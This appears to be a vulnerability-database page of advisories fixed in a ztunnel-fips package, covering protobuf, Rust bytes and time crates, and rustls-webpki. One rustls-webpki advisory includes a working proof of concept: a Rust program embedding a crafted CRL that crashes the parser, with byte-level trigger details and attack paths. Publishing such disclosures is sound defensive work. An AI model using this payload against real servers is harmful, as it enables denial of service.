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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:34
Summary
Security fixes in ztunnel-fips 1.27.8-r4
Details
Package ztunnel-fips version 1.27.8-r4 fixes 9 vulnerabilities: CVE-2026-25541, CVE-2025-53605, CVE-2026-25727, CVE-2024-7254, ghsa-82j2-j2ch-gfr8...
References
| URL | Type | |
|---|---|---|
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CVE-2024-7254 (GCVE-0-2024-7254)
Vulnerability from cvelistv5 – Published: 2024-09-19 00:18 – Updated: 2025-09-08 09:37
VLAI
EPSS
VEX
Title
Stack overflow in Protocol Buffers Java Lite
Summary
Any project that parses untrusted Protocol Buffers data containing an arbitrary number of nested groups / series of SGROUP tags can corrupted by exceeding the stack limit i.e. StackOverflow. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
Impacted products
8 products
| Vendor | Product | Version | |
|---|---|---|---|
| Protocol Buffers |
Affected:
0 , < 28.2
(custom)
|
||
| protobuf-java |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf-javalite |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf-kotlin |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf-kotllin-lite |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| google-protobuf [JRuby Gem] |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf |
Affected:
0 , < 28.2
(custom)
cpe:2.3:a:google:protobuf:*:*:*:*:*:*:*:* |
||
| protobuf-kotlin-lite |
Affected:
0 , < 3.25.5
(custom)
Affected: 4.27 , < 4.27.5 (custom) Affected: 4.28 , < 4.28.2 (custom) cpe:2.3:a:google:google-protobuf:*:*:*:*:*:ruby:*:* cpe:2.3:a:google:protobuf-java:*:*:*:*:*:*:*:* cpe:2.3:a:google:protobuf-javalite:*:*:*:*:*:*:*:* cpe:2.3:a:google:protobuf-kotlin:*:*:*:*:*:*:*:* cpe:2.3:a:google:protobuf-kotlin-lite:*:*:*:*:*:*:*:* |
Credits
Alexis Challande, Trail of Bits Ecosystem Security Team <ecosystem@trailofbits.com>
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CVE-2025-53605 (GCVE-0-2025-53605)
Vulnerability from cvelistv5 – Published: 2025-07-05 00:00 – Updated: 2025-07-08 14:35
VLAI
EPSS
VEX
Summary
The protobuf crate before 3.7.2 for Rust allows uncontrolled recursion in the protobuf::coded_input_stream::CodedInputStream::skip_group parsing of unknown fields in untrusted input.
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-674 - Uncontrolled Recursion
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| stepancheg | protobuf |
Affected:
0 , < 3.7.2
(semver)
|
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CVE-2026-25541 (GCVE-0-2026-25541)
Vulnerability from cvelistv5 – Published: 2026-02-04 22:03 – Updated: 2026-02-05 15:13
VLAI
EPSS
VEX
Title
Bytes is vulnerable to integer overflow in BytesMut::reserve
Summary
Bytes is a utility library for working with bytes. From version 1.2.1 to before 1.11.1, Bytes is vulnerable to integer overflow in BytesMut::reserve. In the unique reclaim path of BytesMut::reserve, if the condition "v_capacity >= new_cap + offset" uses an unchecked addition. When new_cap + offset overflows usize in release builds, this condition may incorrectly pass, causing self.cap to be set to a value that exceeds the actual allocated capacity. Subsequent APIs such as spare_capacity_mut() then trust this corrupted cap value and may create out-of-bounds slices, leading to UB. This behavior is observable in release builds (integer overflow wraps), whereas debug builds panic due to overflow checks. This issue has been patched in version 1.11.1.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-680 - Integer Overflow to Buffer Overflow
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/tokio-rs/bytes/security/adviso… | x_refsource_CONFIRM |
| https://github.com/tokio-rs/bytes/commit/d0293b0e… | x_refsource_MISC |
| https://github.com/tokio-rs/bytes/releases/tag/v1.11.1 | x_refsource_MISC |
| https://rustsec.org/advisories/RUSTSEC-2026-0007.html | x_refsource_MISC |
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"tags": [
"x_refsource_MISC"
],
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0007.html"
}
],
"source": {
"advisory": "GHSA-434x-w66g-qw3r",
"discovery": "UNKNOWN"
},
"title": "Bytes is vulnerable to integer overflow in BytesMut::reserve"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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"cveId": "CVE-2026-25541",
"datePublished": "2026-02-04T22:03:53.554Z",
"dateReserved": "2026-02-02T19:59:47.375Z",
"dateUpdated": "2026-02-05T15:13:34.031Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-25727 (GCVE-0-2026-25727)
Vulnerability from cvelistv5 – Published: 2026-02-06 19:20 – Updated: 2026-02-06 20:22
VLAI
EPSS
VEX
Title
time affected by a stack exhaustion denial of service attack
Summary
time provides date and time handling in Rust. From 0.3.6 to before 0.3.47, when user-provided input is provided to any type that parses with the RFC 2822 format, a denial of service attack via stack exhaustion is possible. The attack relies on formally deprecated and rarely-used features that are part of the RFC 2822 format used in a malicious manner. Ordinary, non-malicious input will never encounter this scenario. A limit to the depth of recursion was added in v0.3.47. From this version, an error will be returned rather than exhausting the stack.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-121 - Stack-based Buffer Overflow
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/time-rs/time/security/advisori… | x_refsource_CONFIRM |
| https://github.com/time-rs/time/commit/1c63dc7985… | x_refsource_MISC |
| https://github.com/time-rs/time/blob/main/CHANGEL… | x_refsource_MISC |
| https://github.com/time-rs/time/releases/tag/v0.3.47 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-25727",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-06T20:22:34.026090Z",
"version": "2.0.3"
},
"type": "ssvc"
}
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"dateUpdated": "2026-02-06T20:22:58.488Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "time",
"vendor": "time-rs",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.3.6, \u003c 0.3.47"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "time provides date and time handling in Rust. From 0.3.6 to before 0.3.47, when user-provided input is provided to any type that parses with the RFC 2822 format, a denial of service attack via stack exhaustion is possible. The attack relies on formally deprecated and rarely-used features that are part of the RFC 2822 format used in a malicious manner. Ordinary, non-malicious input will never encounter this scenario. A limit to the depth of recursion was added in v0.3.47. From this version, an error will be returned rather than exhausting the stack."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "ACTIVE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
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"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121: Stack-based Buffer Overflow",
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"providerMetadata": {
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"name": "https://github.com/time-rs/time/security/advisories/GHSA-r6v5-fh4h-64xc",
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{
"name": "https://github.com/time-rs/time/commit/1c63dc7985b8fa26bd8c689423cc56b7a03841ee",
"tags": [
"x_refsource_MISC"
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"url": "https://github.com/time-rs/time/commit/1c63dc7985b8fa26bd8c689423cc56b7a03841ee"
},
{
"name": "https://github.com/time-rs/time/blob/main/CHANGELOG.md#0347-2026-02-05",
"tags": [
"x_refsource_MISC"
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"url": "https://github.com/time-rs/time/blob/main/CHANGELOG.md#0347-2026-02-05"
},
{
"name": "https://github.com/time-rs/time/releases/tag/v0.3.47",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/time-rs/time/releases/tag/v0.3.47"
}
],
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"advisory": "GHSA-r6v5-fh4h-64xc",
"discovery": "UNKNOWN"
},
"title": "time affected by a stack exhaustion denial of service attack"
}
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"datePublished": "2026-02-06T19:20:56.298Z",
"dateReserved": "2026-02-05T16:48:00.426Z",
"dateUpdated": "2026-02-06T20:22:58.488Z",
"state": "PUBLISHED"
},
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"dataVersion": "5.2"
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GHSA-2GH3-RMM4-6RQ5
Vulnerability from github – Published: 2025-03-07 20:02 – Updated: 2025-08-01 19:20
VLAI
Summary
Crash due to uncontrolled recursion in protobuf crate
Details
Affected version of this crate did not properly parse unknown fields when parsing a user-supplied input.
This allows an attacker to cause a stack overflow when parsing the message on untrusted data.
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53605"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-07T20:02:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Affected version of this crate did not properly parse unknown fields when parsing a user-supplied input.\n\nThis allows an attacker to cause a stack overflow when parsing the message on untrusted data.",
"id": "GHSA-2gh3-rmm4-6rq5",
"modified": "2025-08-01T19:20:19Z",
"published": "2025-03-07T20:02:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53605"
},
{
"type": "WEB",
"url": "https://github.com/stepancheg/rust-protobuf/issues/749"
},
{
"type": "WEB",
"url": "https://github.com/stepancheg/rust-protobuf/commit/f06992f46771c0a092593b9ebf7afd48740b3ed6"
},
{
"type": "PACKAGE",
"url": "https://github.com/stepancheg/rust-protobuf"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0437.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Crash due to uncontrolled recursion in protobuf crate"
}
GHSA-82J2-J2CH-GFR8
Vulnerability from github – Published: 2026-04-24 16:20 – Updated: 2026-04-24 16:20
VLAI
Summary
rustls-webpki: Denial of service via panic on malformed CRL BIT STRING
Details
Summary
bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.
Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.
AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.
Details
bit_string_flags() in src/der.rs reads the content of named-bit BIT
STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:
if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash
misses the case padding_bits == 0 && raw_bits.is_empty().
When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes):
- padding_bits = 0x00 — passes the > 7 check ✓
- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
- raw_bits[usize::MAX] → panic
Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615
PoC
Cargo.toml:
[dependencies]
rustls-webpki = "0.102.8" # also reproduces on 0.103.12
src/main.rs:
fn main() {
let crl: &[u8] = &[
0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x03, 0x02, 0x00, 0x00,
];
// Panics — never returns
let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}
output:
thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615
Trigger
a0 10 -- cRLExtensions [0] EXPLICIT
30 0e -- SEQUENCE OF Extension
30 0c -- Extension SEQUENCE
06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
04 05 -- OCTET STRING (extnValue)
30 03 -- IssuingDistributionPoint SEQUENCE
83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
-- padding_bits=0, data=[] ← TRIGGER
Impact
- Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
- Attack paths:
- mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
- TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.103.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.104.0-alpha.1"
},
{
"fixed": "0.104.0-alpha.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:20:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() \u0026\u0026 padding_bits != 0) {\n return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1]; // \u2190 crash\n```\nmisses the case `padding_bits == 0 \u0026\u0026 raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 \u2014 passes the \u003e 7 check \u2713\n- raw_bits = [] \u2014 passes is_empty() \u0026\u0026 != 0 check \u2713 (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow \u2192 usize::MAX\n- raw_bits[usize::MAX] \u2192 panic\n\n\nDebug: thread \u0027main\u0027 panicked: attempt to subtract with overflow\nRelease: thread \u0027main\u0027 panicked: index out of bounds: the len is 0\n but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\" # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n let crl: \u0026[u8] = \u0026[\n 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x03, 0x02, 0x00, 0x00,\n ];\n // Panics \u2014 never returns\n let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread \u0027main\u0027 panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10 -- cRLExtensions [0] EXPLICIT\n 30 0e -- SEQUENCE OF Extension\n 30 0c -- Extension SEQUENCE\n 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n 04 05 -- OCTET STRING (extnValue)\n 30 03 -- IssuingDistributionPoint SEQUENCE\n 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n -- padding_bits=0, data=[] \u2190 TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs \u2014 common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker\u0027s CRL during the handshake and panics. No MITM required.\n - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
"id": "GHSA-82j2-j2ch-gfr8",
"modified": "2026-04-24T16:20:17Z",
"published": "2026-04-24T16:20:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/webpki"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING"
}
GHSA-965H-392X-2MH5
Vulnerability from github – Published: 2026-04-16 21:16 – Updated: 2026-04-16 21:16
VLAI
Summary
webpki: Name constraints for URI names were incorrectly accepted
Details
Name constraints for URI names were ignored and therefore accepted.
Note this library does not provide an API for asserting URI names, and URI name constraints are otherwise not implemented. URI name constraints are now rejected unconditionally.
Since name constraints are restrictions on otherwise properly-issued certificates, this bug is reachable only after signature verification and requires misissuance to exploit.
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.101.0"
},
{
"fixed": "0.103.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.104.0-alpha.1"
},
{
"fixed": "0.104.0-alpha.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:16:22Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "Name constraints for URI names were ignored and therefore accepted.\n\nNote this library does not provide an API for asserting URI names, and URI name constraints are otherwise not implemented. URI name constraints are now rejected unconditionally.\n\nSince name constraints are restrictions on otherwise properly-issued certificates, this bug is reachable only after signature verification and requires misissuance to exploit.",
"id": "GHSA-965h-392x-2mh5",
"modified": "2026-04-16T21:16:23Z",
"published": "2026-04-16T21:16:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/webpki/security/advisories/GHSA-965h-392x-2mh5"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/webpki"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0098.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "webpki: Name constraints for URI names were incorrectly accepted"
}
GHSA-PWJX-QHCG-RVJ4
Vulnerability from github – Published: 2026-03-20 21:51 – Updated: 2026-03-25 19:56
VLAI
Summary
webpki: CRLs not considered authoritative by Distribution Point due to faulty matching logic
Details
If a certificate had more than one distributionPoint, then only the first distributionPoint would be considered against each CRL's IssuingDistributionPoint distributionPoint, and then the certificate's subsequent distributionPoints would be ignored.
The impact was that correct provided CRLs would not be consulted to check revocation. With UnknownStatusPolicy::Deny (the default) this would lead to incorrect but safe Error::UnknownRevocationStatus. With UnknownStatusPolicy::Allow this would lead to inappropriate acceptance of revoked certificates.
This vulnerability is thought to be of limited impact. This is because both the certificate and CRL are signed -- an attacker would need to compromise a trusted issuing authority to trigger this bug. An attacker with such capabilities could likely bypass revocation checking through other more impactful means (such as publishing a valid, empty CRL.)
More likely, this bug would be latent in normal use, and an attacker could leverage faulty revocation checking to continue using a revoked credential.
Severity
4.4 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.102.0-alpha.0"
},
{
"fixed": "0.103.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.104.0-alpha.1"
},
{
"fixed": "0.104.0-alpha.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-299"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T21:51:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "If a certificate had more than one `distributionPoint`, then only the first `distributionPoint` would be considered against each CRL\u0027s `IssuingDistributionPoint` `distributionPoint`, and then the certificate\u0027s subsequent `distributionPoint`s would be ignored.\n\nThe impact was that correct provided CRLs would not be consulted to check revocation. With `UnknownStatusPolicy::Deny` (the default) this would lead to incorrect but safe `Error::UnknownRevocationStatus`. With `UnknownStatusPolicy::Allow` this would lead to inappropriate acceptance of revoked certificates.\n\nThis vulnerability is thought to be of limited impact. This is because both the certificate and CRL are signed -- an attacker would need to compromise a trusted issuing authority to trigger this bug. An attacker with such capabilities could likely bypass revocation checking through other more impactful means (such as publishing a valid, empty CRL.)\n\nMore likely, this bug would be latent in normal use, and an attacker could leverage faulty revocation checking to continue using a revoked credential.",
"id": "GHSA-pwjx-qhcg-rvj4",
"modified": "2026-03-25T19:56:38Z",
"published": "2026-03-20T21:51:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/webpki/security/advisories/GHSA-pwjx-qhcg-rvj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/webpki"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0049.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "webpki: CRLs not considered authoritative by Distribution Point due to faulty matching logic"
}
GHSA-XGP8-3HG3-C2MH
Vulnerability from github – Published: 2026-04-16 21:17 – Updated: 2026-04-16 21:17
VLAI
Summary
webpki: Name constraints were accepted for certificates asserting a wildcard name
Details
Permitted subtree name constraints for DNS names were accepted for certificates asserting a wildcard name.
This was incorrect because, given a name constraint of accept.example.com, *.example.com could feasibly allow a name of reject.example.com which is outside the constraint.
This is very similar to CVE-2025-61727.
Since name constraints are restrictions on otherwise properly-issued certificates, this bug is reachable only after signature verification and requires misissuance to exploit.
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.101.0"
},
{
"fixed": "0.103.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.104.0-alpha.1"
},
{
"fixed": "0.104.0-alpha.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:17:12Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "Permitted subtree name constraints for DNS names were accepted for certificates asserting a wildcard name.\n\nThis was incorrect because, given a name constraint of `accept.example.com`, `*.example.com` could feasibly allow a name of `reject.example.com` which is outside the constraint.\nThis is very similar to [CVE-2025-61727](https://go.dev/issue/76442).\n\nSince name constraints are restrictions on otherwise properly-issued certificates, this bug is reachable only after signature verification and requires misissuance to exploit.",
"id": "GHSA-xgp8-3hg3-c2mh",
"modified": "2026-04-16T21:17:12Z",
"published": "2026-04-16T21:17:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/webpki/security/advisories/GHSA-xgp8-3hg3-c2mh"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/webpki"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0099.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "webpki: Name constraints were accepted for certificates asserting a wildcard name"
}
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Trend slope:
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(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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